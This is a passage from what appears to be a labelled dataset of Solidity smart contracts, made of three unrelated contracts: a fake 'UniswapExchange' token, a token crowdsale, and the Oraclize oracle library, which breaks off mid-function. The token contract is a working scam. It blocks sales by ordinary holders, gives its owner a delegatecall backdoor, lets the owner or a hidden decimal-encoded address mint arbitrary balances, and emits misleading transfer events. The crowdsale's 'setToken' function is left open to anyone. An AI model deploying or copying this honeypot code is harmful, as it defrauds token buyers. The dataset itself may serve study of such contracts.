_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,553 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract SynToken {
string public name = "TEST TOKEN";
string public symbol = "TEST";
uint256 public decimals = 18;
uint256 public totalSupply;
address public owner;
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
bool public mintingFinished = false;
function transfer(address _to, uint256 _value) public returns (bool) ;
function balanceOf(address _owner) public constant returns (uint256 balance) ;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool) ;
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function increaseApproval (address _spender, uint _addedValue) returns (bool success);
function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success);
function mint(address _to, uint256 _amount) public returns (bool);
function finishMinting() public returns (bool);
function transferOwnership(address newOwner) public;
}
contract SynTokenCrowdsale {
using SafeMath for uint256;
SynToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
uint256 public cap = 500*10**24;
uint256 public foundationAmount = (2*cap)/3;
address public tokenWallet = 0x2411350f3bCAFd33a9C162a6672a93575ec151DC;
uint256 public tokensSold = 0;
address public admin = 0x2411350f3bCAFd33a9C162a6672a93575ec151DC;
uint[] public salesRates = [2000,2250,2500];
address public constant SynTokenAddress = 0x2411350f3bCAFd33a9C162a6672a93575ec151DC;
bool public crowdsaleLive = false;
bool public crowdsaleInit = false;
bool public appliedPresale = false;
event NextRate(uint256 _rate);
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function SynTokenCrowdsale() {
}
function () payable {
buyTokens(msg.sender);
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
modifier adminOnly{
if(msg.sender == admin)
_;
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
require(tokens <= cap - tokensSold);
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function validPurchase() internal constant returns (bool) {
bool capNotReached = tokensSold <= cap;
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
if(now >= startTime){
forwardRemaining();
}
return (nonZeroPurchase && withinPeriod && capNotReached) ;
}
function forwardRemaining() internal {
require(crowdsaleLive);
require(now > endTime);
uint256 remaining = cap - tokensSold;
require(remaining < cap);
tokensSold += remaining;
token.mint(tokenWallet, remaining);
token.finishMinting();
crowdsaleLive = false;
}
function nextRate(uint _rate) adminOnly {
require(now > endTime);
require(salesRates[_rate] < rate );
rate = salesRates[_rate];
}
function setToken(address _tokenAddress){
token = SynToken(_tokenAddress);
}
function initCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, address _tokenAddress) adminOnly {
require(!crowdsaleInit);
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
crowdsaleInit=true;
}
function applyPresale() adminOnly{
require(crowdsaleInit);
require(!appliedPresale);
token.mint(0x3de1483fda9f3383c422d8713008e5d272aa73ee, 35448897500000000000000);
token.mint(0xe695e2d9243303dccff5a26731cc0083f3b10c8b, 100000000000000000000000);
token.mint(0x1bf45eb62434a0dac0de59753e431210d2b33f24, 32500000000000000000000);
token.mint(0x92009d954ff9efd69708e2dd2166f7e60124ce09, 22500000000000000000000);
token.mint(0xe579c7b478d40c85871ac5553d488b65be9a9264, 1250000000000000000000);
token.mint(0xa576e704a1c1d8d7e2fdfdd251b15a3265397121, 2500000000000000000000);
token.mint(0x9e40c7ee30cefb4327ea2c83869cd161ff5fa71f, 250000000000000000000);
token.mint(0xcc6b7ed85bf68ee9def96b95f3356a8072a01030, 50008790160000000000000);
token.mint(0xf406317925ad6a9ea40cdf40cc1c9b0dd65ca10c, 250000000000000000000000);
token.mint(0x69965bb6487178234ddcc835cb2ceccadd4e1431, 1250000000000000000000);
token.mint(0xe7558aa60d1135410f03479df94ea439e782d541, 1950000000000000000000);
token.mint(0x75360cbe8c7cb8174b1b623a6d9aacf952c117e3, 50000000000000000000000);
token.mint(0x001a1a6ccf3b97b983d709c0d34a0de574b90a19, 2500000000000000000000);
token.mint(0x56488a1d3dc8bb20b75e8317448f1a1fbadcb999, 2725000000000000000000);
token.mint(0xf16e0aa06d745026bc80686e492b0f9b0578b5bd, 3200000000000000000000);
token.mint(0xc046b59484843b2af6ca105afd88a3ab60e9b7cd, 1250000000000000000000);
token.mint(0x479a8f11ee100a1cc99cd06e67dba639aaec56f7, 12489500000000000000000);
token.mint(0x9369263b70dec0b65064bd6967e6b01c3a9377ec, 750000000000000000000);
token.mint(0x89560c2b6b343ad4f6e47b19b9577bfce938ce98, 10000000000000000000000);
token.mint(0xdcc719cf97c9cbc06e4e8f05ed8d9b2132fe7f31, 12500000000000000000000);
token.mint(0x5ac855600754de7fc9796add50b82554324424bb, 20362000000000000000000);
token.mint(0xa1b710593ed03670c9424c941130b3a073a694cc, 3016378887500000000000);
token.mint(0x8186bda406b950da9690e58199479aa008160709, 150000000000000000000);
token.mint(0xb87b8dc38f027b1ce89a6519dbeb705bdd251ea5, 2500000000000000000000);
token.mint(0x294751d928994780f6db76af14e343d4eb9c3a46, 1354326960000000000000000);
token.mint(0x339d2fbaf46acb13ffc43636c5ae5b81d442e1e2, 124999876147500000000000);
token.mint(0xdfcf69c8fed25f5150db719bad4efab64f628d31, 10000000000000000000000);
token.mint(0x0460529cea44e59fb7e45a6cd6ff0b8b17b680c3, 125000000000000000000000);
tokensSold+=2233427402695000000000000;
token.mint(tokenWallet, foundationAmount);
tokensSold = tokensSold + foundationAmount;
appliedPresale=true;
}
} | 1 | 2,800 |
pragma solidity ^0.4.11;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork();
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
myid;
result;
proof;
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
